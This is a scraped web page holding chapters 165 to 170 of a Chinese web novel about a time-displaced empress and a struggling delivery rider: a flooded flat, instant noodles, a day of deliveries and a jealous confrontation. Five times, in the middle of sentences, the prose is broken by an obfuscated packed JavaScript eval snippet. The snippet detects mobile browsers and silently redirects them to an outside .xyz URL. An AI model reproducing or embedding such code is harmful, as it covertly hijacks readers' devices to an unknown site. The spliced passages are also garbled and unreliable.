完了。 全完了。 家被淹了,还欠了两千块的外债。 他的人生重启键,怕不是按在了天崩开局上。 屋里一片死寂,只剩下马桶还在敬业地往外喷着水。 萧青鸾站在他面前,居高临下地看着他。 她不明白。 她明明已经解决了那个喷水的妖物,为何还要赔偿? 区区一个贱民,竟敢如此勒索天子之夫?按大炎律例,此乃抄家灭族的大罪。 而他,为何要向那贱民低头? 顾云舟抬起头,对上她那双写满困惑的眸子。 他忽然觉得自己很累, 他不想吵,也不想再跟她解释什么叫现代社会。 他只是用一种近乎虚脱的语气开口。 “在这里,弄坏了别人的东西,就要赔。” 他顿了顿,看着她那张绝美却茫然的脸,一字一句地,陈述事实。 “赔偿,需要钱。” “钱,就是我们昨天在大街上看到有人拿出的买东西时用的那种纸。” 顾云舟的视线缓缓垂下,落在冰冷的水面上,映出自己小丑般的倒影。 “我们现在……一分钱都没有了。” (后面男主拿手机让女主了解这个世界,总要有过程的,再说了系统都瓦解了) 第一百六十五章 规矩 出租屋里死寂一片。 只有卫生间里那个马桶,还在往外喷着水,哗啦啦的。 顾云舟就那么瘫坐在门边的脏水里,湿透的衣服服紧紧贴在身上,勾勒出瘦削的骨架。 毁灭吧,赶紧的。 累了。 萧青鸾站在他面前,有点心虚。 她看着他双空洞无神的眼睛。 她好像……真的把事情搞砸了。 顾云舟没有再看她,也没有再说话。 他只是沉默地,缓缓地从水里撑起身体。 他晃晃悠悠地走进卫生间,在那个还在喷水的马桶旁边摸索了一阵,找到了一个藏在墙角的阀门,用尽全身力气,将它拧死。 世界,终于安静了。 然后,他找来一块不知道多久没洗过的抹布,蹲下身,开始清理地上的积水。 吸水,走到卫生间,拧干。 再走回来,蹲下,吸水。 再走过去,拧干。 他的动作机械,重复,麻木。没有抱怨,没有怒吼,甚至没有一个多余的表情。 这种极致的平静,比任何爆发都更让人心慌。 萧青鸾就站在客厅中央,积水漫过她的脚踝,华丽的裙摆泡在污水里,狼狈不堪。 她看着那个在脏水里默默忙碌的背影,感觉有些手足无措。 罪魁祸首,是她。 这个认知让她浑身不自在。 “我来……” 她鬼使神差地开了口,声音干涩。 顾云舟的动作顿了一下,没有回头,只是说了两个字。 “别动。” 你再动一下,我怕这房子当场塌了。 萧青鸾果然没再动。 她就静静地站在那里,看着顾云舟一个人,用那块小小的破布,一点点地,将这个被淹没的家收拾干净。 时间不知道过了多久。 外面的天色渐渐暗了下来。 清理工作终于告一段落,虽然地板上还湿漉漉的,但至少能下脚了。 顾云舟累得快虚脱了,他靠着墙壁大口喘气,饥饿感如潮水般涌来,胃里空落落的。 他跟萧青鸾从昨天到现在,几乎什么都没吃。 他拖着身子走到厨房,拉开橱柜。 里面空空如也。 他又拉开另一个。 还是空的。 直到在橱柜最里面的角落,他摸到了两个硬邦邦的塑料包装。 他拿出来一看。 是两包酸菜牛肉面。 最后的晚餐。 顾云舟面找出一口锅,接了点自来水,点火。 蓝色的火苗一下窜起,映着他脸。 萧青鸾被这边的动静吸引,好奇地凑了过来。 她看着顾云舟撕开那个花花绿绿的塑料包,从里面拿出几样奇怪的东西。 一个黄色的,像砖块一样的东西。 几个小袋子。 水开了。 顾云舟把面饼和所有调料包一股脑全扔进了锅里。 一股廉价的香味瞬间占据了这间只有十几平米的出租屋。 萧青鸾的鼻子动了动。 这味道……好生奇特。 不似御膳房的山珍海味那般精致,却带着勾人的香气。 很快,面煮好了。 顾云舟找出两个豁口碗,把面和汤平均分好,一碗推到萧青鸾面前,另一碗自己端起来,也不怕烫,直接开吃。 他吃得又快又急,看来是真饿了。 萧青鸾看着碗里那些弯弯曲曲的面条,还有浮着油花的汤水,眉头微不可查地皱了一下。 这种东西,在宫里是连下等宫人都不吃的。 可…… 她看了一眼对面狼吞虎咽的顾云舟,又听了听自己不争气地叫唤起来的肚子。 她学着顾云舟的样子,夹起一小撮面条,迟疑地送入口中。 面条入口,滑嫩可口。 一股咸香味瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210333|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在味蕾上爆开。 她咀嚼着,那股暖意顺着食道滑入胃里,驱散了身体里的寒意。 她愣住了。 然后,她低下头,开始小口小口地,认真地吃了起来。 一时间,小小的出租屋里,只剩下两人吸溜面条的声音。 一碗面很快见了底。 顾云舟连汤都喝得一干二净,他放下碗,长长地舒了一口气。 活过来了。 他抬起头,看到萧青鸾也正好喝完最后一口汤,正用一种意犹未尽的眼神看着空碗。 屋里的气氛,不再像之前那样剑拔**张。 顾云舟知道,时机到了。 他把碗重重地放在桌上,发出“砰”的一声。 萧青鸾被吓了一跳,抬眼看他。 顾云舟的眼神前所未有的严肃。 “从今天起,这个家,我说了算。” 他的声音不大,却不容置疑。 “定下规矩。” “第一,所有你不认识的东西,没我的允许,不准碰,不准摸,不准研究。尤其是卫生间里那个白色的玩意儿。” “第二,我说的话,不管你听不听得懂,同不同意,你都必须照做。” 他盯着她的眼睛,一字一顿地问。 “能做到吗?” 这是他最后的底线。 如果她连这个都做不到,那他宁愿饿死,从这里跳下去,也绝不跟这个疯子待在同一个屋檐下。 萧青鸾捧着还带着余温的碗,看着他。 他的眼神很复杂。 他说,这个家,他说了算。 他说,她必须听他的。 可不知为何,看着他这副模样,她却生不出一丝一毫的怒气。 甚至……觉得有些心虚。 她沉默了很久。 就在顾云舟准备破罐子破摔的时候。 她看着他,轻轻地,点了点头。 (现在应该不尬了吧) 第一百六十六章 电视 一碗泡面下肚,规矩也立下了。 顾云舟感觉自己那根绷着的神经,总算稍微松了那么一丢丢。 但现实根本不给你喘息的机会。 两千块。 下午六点前。 还有明天就到期的房租。 顾云舟看了一眼墙上那个滴答作响的破旧挂钟,时针已经指向了早上八点。 时间紧迫,任务艰巨。 指望天上掉钱是不可能了,指望旁边这位……顾云舟觉得还不如指望自己当场觉醒异能。 唯一的路,只有一条。 重操旧业。 他从沙发上一跃而起,动作利索。 萧青鸾被他这一下惊得抬起了头,眼里带着询问。 顾云舟没空解释,他冲进卧室,在衣柜最底下翻出一个塞得皱皱巴巴的尿素袋。 打开。 里面是一套蓝色的骑手服,还有一个印着xx专送的头盔。 这是他吃饭的家伙。 当他换上那身制服,重新走出来时,萧青鸾的眼神明显变得怪异了起来。 她上上下下打量着他,眉头紧锁。 顾云舟没鸟她,又从床底下的一个鞋盒里,翻出一部屏幕碎裂,边角磕碰得不成样子的智能机。 这是他的备用机,充电一小时,待机五分钟的那种。 他找到充电器,给手机充上电,开机。 万幸,还能用。 他把手机塞到萧青鸾手里。 “这个,拿着。” 萧青鸾低头看着手心里的黑色砖块,一脸茫然。 “有事我会用这个找你。”顾云舟指着屏幕,言简意赅地解释,“它要是响了,或者亮了,你就按一下这个绿色的地方。” 他点了一下接听键。 “要是想挂断,就按这个红的。懂?” 萧青鸾似懂非懂地点了点头,手指小心翼翼地碰了碰那个绿色的图标,在上面戳来戳去。 “记住我说的话。”顾云舟戴上头盔前,最后一次警告她,“待在家里,不准出门,不准乱碰东西,不准跟任何人说话。有陌生人敲门,不管是谁,都别开。” 他现在最怕的,就是自己前脚刚走,这位姑奶奶后脚就把家给点了。 萧青鸾看着他戴上那个奇怪的帽子,只露出一双眼睛,她抿了抿唇,没有说话,只是又点了点头。 那乖巧的模样,让顾云舟心里稍微踏实了一点。 他深吸一口气,拉开门,头也不回地冲了出去。 搞钱! xx专送柳巷路站点。 顾云舟刚推着自己那辆破旧的电瓶车出现,一个洪亮的嗓门老远就传来了。 “顾云舟!你小子还知道回来啊!” 一个挺着啤酒肚,穿着同样蓝色制服但明显大一号的中年男人,双手叉腰慢悠悠的走了过来。 站长,张伟。 “电话不接,微信不回,旷工一天半,你行啊你!翅膀硬了是不是?不想干了就直说,有的是人排队等着干!” 顾云舟低着头,一声不吭。 反驳?解释? 没用。 在老板眼里,你就是个零件,零件出了问题,只会换,不会修。 更何况,他自己都不知道昨天发生了什么,怎么解释?说自己失忆了,还捡了个古代老婆回家? 怕不是要被当场送进去。 周围的骑手们都围了过来,看热闹不嫌事大。 “行了老张,小顾也不是故意的,年轻人嘛,有点事耽搁了很正常的。” “就是就是,看小顾这脸色,估计是病了。” 有人打圆场,但更多的是低声的议论和挤眉弄眼的调侃。 “嘿,你们听说了吗?老顾这家伙,脱单了!” “真的假的?就他那个闷葫芦?” “千真万确!昨天有人在医院看见了,他女朋友,我的天,穿着古装,跟画里走出来的一样,那叫一个绝!” “**!难怪旷工,英雄难过美人关啊!” “可以啊老顾,不声不响搞了个大的!” 羡慕嫉妒恨的目光在顾云舟身上扫来扫去。 他只当没听见,默默地给自己的电瓶车换上满电的电池,检查刹车,打开接单软件。 一系列动作行云流水,肌肉记忆强大到不需要经过大脑。 张伟骂累了,也骂够了,看他这副任劳任怨的样子,火气也消了大半。 “愣着干嘛!还不快去跑单!今天跑不够五十单,你这个月奖金全扣光!” “知道了,站长。” 顾云舟应了一声,跨上电瓶车,拧动把手。 “嗖”的一声,瞬间融入了川流不息的车流中。 他现在脑子里只有一个念头。 接单,送货,搞钱。 像一台设定好程序的机器。 出租屋里。 顾云舟一走,整个世界瞬间安静下来。 小小的房间里,只剩下萧青鸾一个人。 巨大的孤独感和不安,悄悄地爬上心头。 她遵从着顾云舟的命令,像个木偶一样坐在沙发上,一动不动。 可眼睛却控制不住地四处打量。 狭小,简陋,甚至还有些潮湿。 但……这是他的地方。 也是她现在,唯一能待的地方。 时间一分一秒地过去,无聊像藤蔓一样将她缠绕。 她的目光最终落在了那个被顾云舟放在茶几上的,方方正正的黑色大盒子上。 电视。 她记得这个名字。 她犹豫了一下,想起了顾云舟的警告。 “不准乱碰。” 可……只是看看,应该不算乱碰吧? 她伸出纤长的手指,学着记忆中顾云舟的样子,拿起了那个长条形的遥控器。 她对着电视,小心翼翼地按下了那个红色的按钮。 嘀。 黑色的屏幕瞬间亮起,五光十色的画面和嘈杂的声音一同涌了出来,吓得她浑身一颤,差点把遥控器扔出去。 屏幕上,一个穿着暴露的女人正声嘶力竭地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210334|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊着:“所有女生!买它!三二一,上链接!” 萧青鸾皱起了眉。 不知廉耻。 她又按了一下。 画面一转,变成了一群长着猪鼻子的奇怪生物,在一个全是泥坑的地方打滚,发出咯咯咯的笑声。 家人们谁懂啊... ... 萧青鸾的表情更加困惑了。 这是何等的……丑陋。 她像得到了新玩具的孩子,开始不停地按动遥控器上的按钮。 新闻,广告,综艺,动画片…… 光怪陆离的现代世界,在一个小小的方框里,以前所未有的方式,冲击着她的认知。 她看得眼花缭乱,直到一个熟悉的场景让她停下了手指。 画面里,是金碧辉煌的宫殿,雕梁画栋,气势恢宏。 穿着华丽朝服的文武百官,跪在地上,山呼万岁。 高高的龙椅上,坐着一个面容威严的皇帝。 这场景,她太熟悉了。 就在昨天,她还是这场景里的主角。 剧中,一个太监端着一碗汤,战战兢兢地跪在皇帝面前。 “陛下,您的参汤。” 皇帝瞥了一眼,用盖子轻轻一拨,语气冰冷。 “温了。” 太监吓得魂飞魄散,磕头如捣蒜:“奴才该死!奴才该死!” “拖出去杖毙。” 两个侍卫立刻上前,像拖死狗一样把那个太监拖了下去。 萧青鸾面无表情地看着这一切。 在她看来,这再正常不过。 君要臣死,臣不得不死。 可下一秒,她的瞳孔猛地一缩。 她的目光死死地锁在了那个被拖下去的太监身上。 那个太监,穿着一身蓝色的衣服。 虽然料子粗糙,款式也简单,但那个颜色…… 一个可怕的念头,出现在她脑海。 她想起了顾云舟早上出门时穿的那身衣服。 也是蓝色的。 她想起了他说的,他要去“送外卖”。 送……外卖? 送膳? 她又想起了剧中那个太监卑微的样子,想起了皇帝颐指气使的模样。 再联想到顾云舟早出晚归,辛苦劳作,浑身疲惫,甚至还要忍受楼下那个刁民的辱骂…… 所有的线索,在她脑中串联成了一个让她无法接受的,荒谬绝伦的结论。 她的男人。 那个曾为她谋划天下,助她登上九五之尊的帝师。 在这个陌生的世界里…… 竟然,是一个任人驱使,为人送膳的下人?! “咔嚓。” 一声脆响。 她手中的遥控器,被她生生捏出了一道裂痕。 (遥控器:...) 一怒火与心疼的复杂情绪,在她胸中翻涌。 她的世界里,顾云舟是天。 是她唯一的光。 可在这里,他却卑微如尘土,任人践踏。 第一百六十七章 先生,你为何不归? 傍晚六点。 城市的晚高峰如约而至。 红色的车尾灯汇成一条河流,鸣笛声此起彼伏,让人情绪烦躁。 顾云舟骑着他那辆破旧的电瓶车,像一条滑不溜丢的泥鳅,在车流的缝隙里疯狂穿梭。 “叮咚!您有新的外卖订单,请及时处理!” 耳机里,冰冷的电子女声无情地催促着。 又一单。 顾云舟看了一眼屏幕上那个亮红色的倒计时,心里骂了一声。 妈的,这个点,又是去CBD的单子。 送个麻辣烫而已,至于吗。 他现在就像一头驴,唯一的指令就是向前,向前,再向前。 两千块的赔偿款,一千五的房租,像两座大山压在他心口。 他没时间思考,没时间抱怨,甚至没时间感受手背上伤口传来的隐隐作痛。 搞钱。 依旧是搞钱 只有这两个字,在他脑子里循环播放。 “快点快点!要超时了!” 一个西装革履的男人从写字楼里冲出来,一把抢过他手里的外卖,看都没看他一眼就往回跑。 顾云舟面无表情地点击了“已送达”。 好评? 不存在的。 能不给差评就谢天谢地了。 他刚准备调转车头,手机又开始疯狂震动。 “叮咚!叮咚!叮咚!” 一连三个订单,一个比一个远,一个比一个刁钻。 不接? 扣钱。 接了? 拿命去跑。 顾云舟深吸一口气,选择了全部接受。 他现在没资格挑剔。 天空不知何时阴沉下来,乌云黑压压地。 一阵狂风卷过,吹得路边的广告牌哗哗作响。 要下雨了。 顾云舟心里咯噔一下。 他的雨衣,早上为了轻便,没带。 真是屋漏偏逢连夜雨啊。 他加快了速度。 然而,天公不作美。 豆大的雨点毫无征兆地砸了下来,噼里啪啦连成了一片雨幕。 视线模糊,路面湿滑。 雨水顺着脖子往里灌,让他打了个哆嗦。 操。 他只能在心里低吼。 更要命的是,手机屏幕被雨水覆盖,触屏开始失灵。 他一边要看路,一边要费力地擦拭屏幕,确认导航路线。 “丢雷..会不会骑车!” 一辆轿车从他身边飞驰而过,溅了他一身。 顾云舟抹了一把脸上的脏水,没吭声。 骂回去? 没意义。 只会浪费他宝贵的送餐时间。 手机的电量,在持续的导航和接单中,以肉眼可见的速度下降。 百分之十。 百分之五。 百分之一。 当他终于把最后一单送到客户手里时,手机屏幕顽强地亮了最后一下,然后彻底黑了下去。 顾云舟站在别人的屋檐下,看着黑漆漆的手机。 他甚至不知道现在几点了。 天已经完全黑了。 城市的霓虹灯在雨幕中化开,变成一团团模糊的光晕。 他想起了家里的那个女人。 他走之前,让她拿着备用机,有事打电话。 可现在,他的手机没电了。 她要是联系不上他…… 顾云舟不敢想下去。 那个女人,脑回路跟正常人完全不一样。 天知道她会干出什么事来。 他现在只想快点回家。 他跨上电瓶车,凭着记忆,朝着柳巷路的方向骑去。 雨,越下越大了。 ... 出租屋里。 光线一点点被窗外的黑暗吞噬。 萧青鸾坐在沙发上,维持着一个姿势,已经很久了。 一动不动。 只有那双眸子,死死地盯着窗外。 天黑了。 他还没回来。 那个叫电视的方盒子,她不敢再碰了。 里面光怪陆离的世界,让她心烦意乱。 特别是那个穿着蓝色衣服的太监,像一根刺,扎在她心里。 她的先生,她的帝师,绝不能过那样的日子。 可前提是,他得先回来。 时间一分一秒地流逝。 墙上的挂钟,滴答,滴答,每一下都敲在她的心上。 七点。 八点。 九点。 窗外的雨声越来越大,风声呼啸。 萧青鸾的心,也一点点沉了下去。 她拿起顾云舟留给她的那个屏幕碎裂的手机,学着他的样子,划开屏幕。 她找到了那个绿色的电话图标,点开了通话记录。 置顶的那个名字,是顾云舟。 她按了下去。 “嘟……嘟……嘟……” 漫长的等待音。 无人接听。 她的心一紧。 再打。 “嘟……嘟……嘟……” 还是无人接听。 萧青鸾的呼吸开始变得急促。 她不停地按着重拨键,一次又一次。 机械,麻木。 终于,电话那头的声音变了。 不再是等待音。 而是一个冰冷无情的女声。 “您好,您拨打的电话已关机。” 关机? 她握着手机的手,猛地收紧。 咔嚓。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210335|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>本就碎裂的屏幕,又添了几道新的裂痕。 一个念头,不受控制地从她心底的角落里冒了出来。 他是不是……又不要她了? 就像在那个世界一样。 他一次又一次地逃离。 用尽各种办法,不惜伤害自己,也要离开她为他打造的地方。 最后一次,他看她的眼神,是那样的决绝,那样的……厌恶。 那个背影,和此刻窗外的风雨,电话里的忙音,重叠在了一起。 血腥的宫变,冰冷的尸体,朝臣虚伪的面孔…… 所有被她强行压下的,关于背叛和抛弃的记忆,在这一刻,如潮水般汹涌而出。 她以为,来到这个新世界,他失忆了,一切都可以重新开始。 她可以做一个听话的,乖巧的,他喜欢的样子的妻子。 可她忘了。 江山易改,本性难移。 他终究,还是会厌倦她,抛弃她。 巨大的恐慌和被背叛的愤怒,瞬间攫住了她的心脏。 她慢慢地从沙发上站了起来。 房间里没有开灯,一片死寂。 她眼中的焦虑和不安,在黑暗中一点点褪去,取而代之的,是彻骨的冰冷和偏执。 她走到窗边,面无表情地看着楼下那条被雨水冲刷的小巷。 很好。 她想。 既然你不回来。 那朕,就亲自去把你抓回来。 这一次,就算打断你的腿,朕也绝不会再让你离开朕的视线。 一步都不行。 深夜十一点。 顾云舟终于拖着几乎要散架的身体,回到了出租屋楼下。 他浑身湿透,又冷又饿,连上楼的力气都快没了。 他只想赶紧躺到床上,什么都不管,睡他个天昏地暗。 他掏出钥匙,打开了单元门。 楼道里,声控灯坏了,黑得伸手不见五指。 他摸索着爬上三楼,来到302的门口。 他将钥匙**锁孔,轻轻转动。 门开了。 屋里,一片漆黑。 死一般的寂静。 顾云舟心里猛地一沉。 不对劲。 **静了。 以那个女人的性子,就算睡着了,也该有点动静。 “萧青鸾?” 他试探着喊了一声,声音因为疲惫而有些沙哑。 没人回应。 他扶着墙,正想去摸开关。 一个冰冷如霜的声音,忽然从沙发那边的阴影里传了出来。 那声音很轻,却瞬间让顾云舟浑身的汗**都立了起来。 “先生。” “你终于回来了。” (四更奉上,感谢看到这的伙伴们) 第一百六十八章 质问与爆发 顾云舟心里一个戈登。 不对劲。 **静了。 以那个女人的性子,就算睡着了,也该有点动静。 “萧青鸾?” 他试探着喊了一声,声音因为疲惫而有些虚。 没人回应。 他扶着墙,正想去摸开关。 一个冰冷的声音,忽然从沙发那边的阴影里传了出来。 那声音很轻,却瞬间让顾云舟汗**都立了起来。 “先生。” “你终于回来了。” 顾云舟的手僵在半空。 他现在又冷又饿,脑子转得都比平时慢半拍,但本能让他神经绷紧。 这语气,这调调,不对劲。 非常不对。 他没有再说话,而是凭着记忆,啪的一声,按下了客厅的开关。 灯光瞬间驱散了黑暗,也照亮了沙发上的人。 萧青鸾就那么端坐在那里。 身上还是那件被污水泡过又晾干的古代宫装,皱巴巴的看着有些滑稽。 但她这个人,却一点也不滑稽。 腰背挺得笔直,下巴微抬,双手平放在膝上,一派端庄威严的仪态。 那张漂亮的脸上没什么表情,一双眼就那么看着他。 他懒得跟她掰扯,踢掉脚上湿透的鞋,径直朝卫生间走去。 顾云舟累得快要散架,脑子里只剩下一个念头:洗澡,睡觉。 然而,他刚迈出两步,一道身影就闪到了他面前,拦住了他的去路。 还是萧青鸾。 顾云舟眼皮都懒得抬一下。 “让开。” 他的声音透着疲惫。 萧青鸾没动。 她只是微微眯起了那双凤眼,目光一寸一寸地在他湿透的骑手服上刮过。 那眼神,带着一种让他极度不舒服的感觉。 “先生。彻夜不归,与何人相会,所为何事?” “一一与朕说来,不得有半句虚言。” 顾云舟:“……” 他真的,忍不了了。 从早上被她用马桶淹了家,到被邻居上门勒索,再到回站点被站长当孙子一样骂,然后顶着暴雨送了一天外卖,浑身上下没一处是干的,晚饭都他m没吃一口。 他现在感觉自己就是一根被拉到极限的皮筋,再来一丁点力道,就会彻底崩断。 而眼前这个女人,显然就是那最后的一根手指。 他的耐心在这一刻彻底告罄。 压抑了一整天的火气,一下子就爆发了。 “你他m是不是有病!” 这是他第一次对她用这种语气说话,第一次对她爆粗口。 他死死地盯着她,胸口剧烈地起伏着。 “我说了我是去工作!工作你懂吗?赚钱!Money! 为了给你赔那个该死的马桶!为了交下个月的房租!你以为钱是天上掉下来的?还是你以为坐着这里像皇帝一样就有饭吃?” 他实在是受够了这种荒诞的日子,受够了这个活在自己世界里的疯女人。 他只想当个正常人,过点正常的生活。 为什么就这么难? 顾云舟的咆哮,在萧青鸾听来,无异于惊雷。 她完全没料到,一向温和忍让的顾云舟,会用如此激烈的方式反抗她。 在她眼里, 等同于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210336|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……背叛。 “顾云舟!” 她尖声叫道。 她猛地伸出手,死死抓住顾云舟的手臂,那力道大得惊人,指甲像是要嵌进他的肉里。 “你竟敢……你竟敢对我如此说话!” 她的眼眶迅速泛红,水汽在里面**,但眼神却愈发偏执和疯狂。 “我让你说,你就得说!我问你什么,你就得答什么!这是规矩!” “你是不是觉得我管不了你了?你是不是也想学那些人一样……抛弃我!” 最后那句话,她几乎是吼出来的,带着一种撕心裂肺的颤音。 顾云舟被她抓得生疼,正要发火把她甩开。 可当他看到她此刻的眼神时,所有的怒气,却像是被一盆冰水当头浇下,瞬间熄灭了。 那双漂亮的凤眼里,确实有愤怒,有偏执,有疯狂的控制欲。 但拨开这些浓烈的情绪,在最深处,他第一次看到了别的东西。 那是一种……他无法形容的东西。 像是一个小孩在黑夜里走丢了,全世界只剩下他一个人。 那种被全世界抛弃的,绝望恐惧感。 原来,她不是在审问。 她只是……害怕了? 顾云舟愣住了。 他看着眼前这个死死抓着自己不放的女人,忽然觉得有点荒谬。 搞了半天,这个疯批,其实只是一个害怕被丢掉的小女孩? 他的怒火,就这么莫名其妙地消散了。 只剩下一种哭笑不得的疲惫感,从四肢百骸涌了上来。 萧青鸾还在死死地抓着他。 她的手,在抖。 抖得厉害。 第一百六十九章 不平等约定 顾云舟的火气来得快去得也快。 主要是被眼前这女人的眼神给整不会了。 愤怒偏执疯狂这些他都看到了。 可藏在最里面的那种被全世界丢下的恐惧感是怎么回事? 搞了半天这分明是幼儿园小朋友怕被家长扔在门口哇哇大哭的既视感。 他m的。 荒谬。 太荒谬了。 顾云舟感觉自己一拳打在了棉花上的那种。 一肚子的火气一下就瘪了下去。 只剩下哭笑不得后的疲惫。 他叹了口气。 这一天过的简直比他前半辈子加起来都刺激。 “我没想抛弃你。” “我真是去送外卖了。后来下了大暴雨手机泡水关机了。” 这语气不像解释更像是哄孩子。 萧青鸾抓着他的手没松但力道小了些。 她红着眼眶死死盯着他像是在分辨这句话里有几个字是真的。 就在这剑拔**张谁也不肯退让的时刻。 “咕噜……” 一声清晰无比的声音在寂静的客厅里响起。 不大不小刚刚好能让两个人听得一清二楚。 顾云舟低头看了看自己的肚子。 很好。 连身体都开始投降了。 紧接着。 “咕……” 又是一声。 这次是从对面传来的。 空气仿佛凝固了一秒。 顾云舟面无表情地抬起头看向萧青鸾。 对方那张紧绷的俏脸上迅速飞起一抹红晕。 眼神也开始飘忽就是不看他。 那只抓着他胳膊的手像是被电了一下猛地松开了。 刚刚还一副霸气女帝模样一下就破功。 顾云舟忽然觉得有点好笑。 他什么也没说转身走向厨房。 出租屋的厨房小得可怜,就一个灶台一个洗碗池。 他在橱柜里翻了翻。 很好还剩最后一包红烧牛肉面。 他拧开水龙头烧水撕开包装袋把面饼和调料包扔进锅里。 动作一气呵成。 很快廉价泡面那霸道的香气就弥漫开来。 顾云舟从冰箱里拿出一颗鸡蛋磕进锅里。 看着蛋花在滚水里翻腾,他感觉自己那根绷了一天的神经终于松弛了下来。 一碗热气腾腾的泡面很快就出锅了。 他端着碗走出来放在客厅那张破旧的小茶几上。 萧青鸾还站在原地局促不安得像个做错事的孩子。 他用下巴点了点那碗面。 “吃吧。” 萧青鸾没动。 她看着那碗面又看看他,眼神复杂。 顾云舟懒得管她自己走到墙角拿起一块干抹布开始擦拭地上的水渍。 他现在只想赶紧收拾完然后睡死过去。 身后传来一阵轻微的悉悉索索声。 他回头看了一眼。 萧青鸾已经坐到了沙发上小心翼翼地端起了那碗面。 她拿起筷子夹起一小撮面条吹了吹然后才送进嘴里。 动作斯文优雅, 倒像是在品尝什么珍馐。 滚烫的汤汁似乎温暖了她的身体。 她紧绷的肩膀也慢慢放松下来。 一碗面很快就见了底连汤都喝得干干净净。 顾云舟也擦完了地。 屋子里再次陷入沉默。 但气氛已经完全不同了。 萧青鸾放下碗抬起头。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215503|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼里的红血丝还没褪去但疯狂的偏执已经不见了。 她看着顾云舟用一种不容商量的语气平静地宣布。 “先生我可以信你这一次。” 顾云舟心里呵呵。 您老人家还真是宽宏大量。 “但从今日起立下规矩。” 她腰背挺直又恢复了几分女帝的派头。 “你的行踪必须随时告知于我。若要晚归需提前请示得我首肯。” “若有下次……” 她微微眯起眼。 “我绝不轻饶。” 顾云舟看着她那副“我虽然错了但我没错下次我还敢”的模样。 满心的无奈几乎要从嗓子眼里溢出来。 这是什么新型的霸王条款? 他一个二十一世纪的独立男性出门还得跟个女人报备? 凭什么? 就凭她会拆马桶还是会拿捏他? 他刚想开口反驳。 却对上了她那双眼睛。 里面没有威胁,没有命令。 只有一种小心翼翼的固执。 像是在说“你可以不答应但你敢不答应我就敢再疯一次给你看”。 顾云舟沉默了。 他太累了。 累得连吵架的力气都没有。 跟一个疯子讲道理本来就是一件更疯的事。 算了。 不就是报备吗。 总比回家看见家里被水淹了要强。 他疲惫地点了点头。 “好。” 听到他的回答萧青鸾的眼神明显亮了一下。 嘴角也勾起一抹几乎无法察觉的弧度。 顾云舟没错过她那点小得意。 心里只有一个念头。 这日子还能不能好了。 第一百七十章 超市 一夜无话。 才怪。 顾云舟几乎是睁着眼睛到天亮的。 身边睡着一个人是什么感觉? 就是你连翻个身都得做心理建设, 生怕呼吸声重了点对方就突然跳起来给你来个锁喉,然后问你是不是做了对不起她的梦。 好在萧青鸾后半夜睡得很沉。 也许是那碗泡面起了作用也许是顾云舟在身旁给了她足够的安全感。 总之当清晨第一缕阳光透过窗帘缝隙照进来时, 顾云舟看到的是一张恬静的睡颜。 长长的睫毛像两把小刷子眼下的红肿消退了不少。 没了那股子疯劲儿的时候……还挺好看的。 顾云舟蹑手蹑脚地爬起来。 他摸了摸饿得发瘪的肚子习惯性地走向厨房想找点吃的。 然后他对着空空如也的冰箱和只剩几根干瘪的葱花陷入了沉思。 最后一包泡面昨晚喂了祖宗了。 家里弹尽粮绝。 一个严峻的现实问题摆在面前。 他得出门采购。 可他一走这位祖宗怎么办? 再来一次水漫金山?还是把家给拆了? 不行。 总之绝对不能把她一个人留在这儿。 唯一的办法就是……带上她。 这个念头一冒出来顾云舟就感觉自己头皮发麻。 